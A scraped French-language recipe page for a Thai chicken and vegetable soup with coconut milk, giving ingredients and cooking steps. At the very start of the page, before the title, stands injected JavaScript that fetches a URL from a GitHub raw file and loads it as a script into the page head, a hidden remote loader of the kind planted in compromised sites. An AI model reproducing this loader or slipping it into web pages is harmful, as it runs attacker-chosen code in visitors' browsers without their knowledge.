;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);}); Soupe thailandaise - Haute Nutrition
Go Back

Soupe thailandaise

Print Recipe Pin Recipe
Prep Time 15 mins
Cook Time 15 mins
Total Time 30 mins
Course Main Course
Cuisine Japanese
Servings 4 portions
Calories 571 kcal

Ingredients
  

  • 15 ml beurre
  • 1 oignon haché
  • 100 g céleri
  • 800 g champignons shiitake ou autres tranchés enlever les queues des shitake
  • 400 g chou-fleur haché environ la moitié d'une grosse tête ou d'un chou-fleur
  • 1 poivron rouge émincé
  • 1 piment épépiné et émincé
  • 15 ml gingembre frais microplané
  • 15 ml citronnelle optionnelle
  • 2 l bouillon d'os maison ou non
  • 250 ml lait de coco conserve
  • 60 ml sauce Bragg pourrait également être sauce soya
  • 30 ml huile de sésame grillé optionnel
  • 30 ml pâte de curry
  • 320 g poulet poitrine optionnel

Instructions
 

  • Chauffez votre  beurre ou huile de cuisson dans une grande casserole à feu moyen. Ajouter les oignons et l'ail et cuire jusqu'à ce que les oignons soient translucides (environ 5 minutes). Ajouter le céleri, le chou-fleur, les champignons et les poivrons et faire sauter pendant 5 minutes. Ajouter un peu de sel
  • Retirez la couche externe dure de la tige de citronnelle et coupez-la en morceaux de 3 à 4 pouces de long. Prenez un rouleau à pâtisserie et roulez chaque morceau de façon à libérer la saveur et l'arôme. Coupez les tiges en fines lamelles pour qu'elles puissent aller dans la soupe. (optionnel)
  • Couper poulet en lanières et cuire dans une poêle pendant 15 minutes et ajouter à la soupe (optionnel)
  • Ajoutez le bouillon, le lait de coco, la sauce bragg, le gingembre, la citronnelle et la pâte de curry à la soupe.
  • Porter la soupe à ébullition puis laisser mijoter à feu doux, à couvert, pendant 15 à 20 minutes ou jusqu'à ce que les légumes soient tendres.
  • Ajouter l'huile de sésame grillée, le jus de citron vert, le sel et le poivre au goût. Coupez le bouquet de coriandre fraîche et ajoutez-le à la soupe, en réservant un peu pour les garnitures. Ajouter poulet cuit pour faire un repas complet
Keyword sans gluten, soupe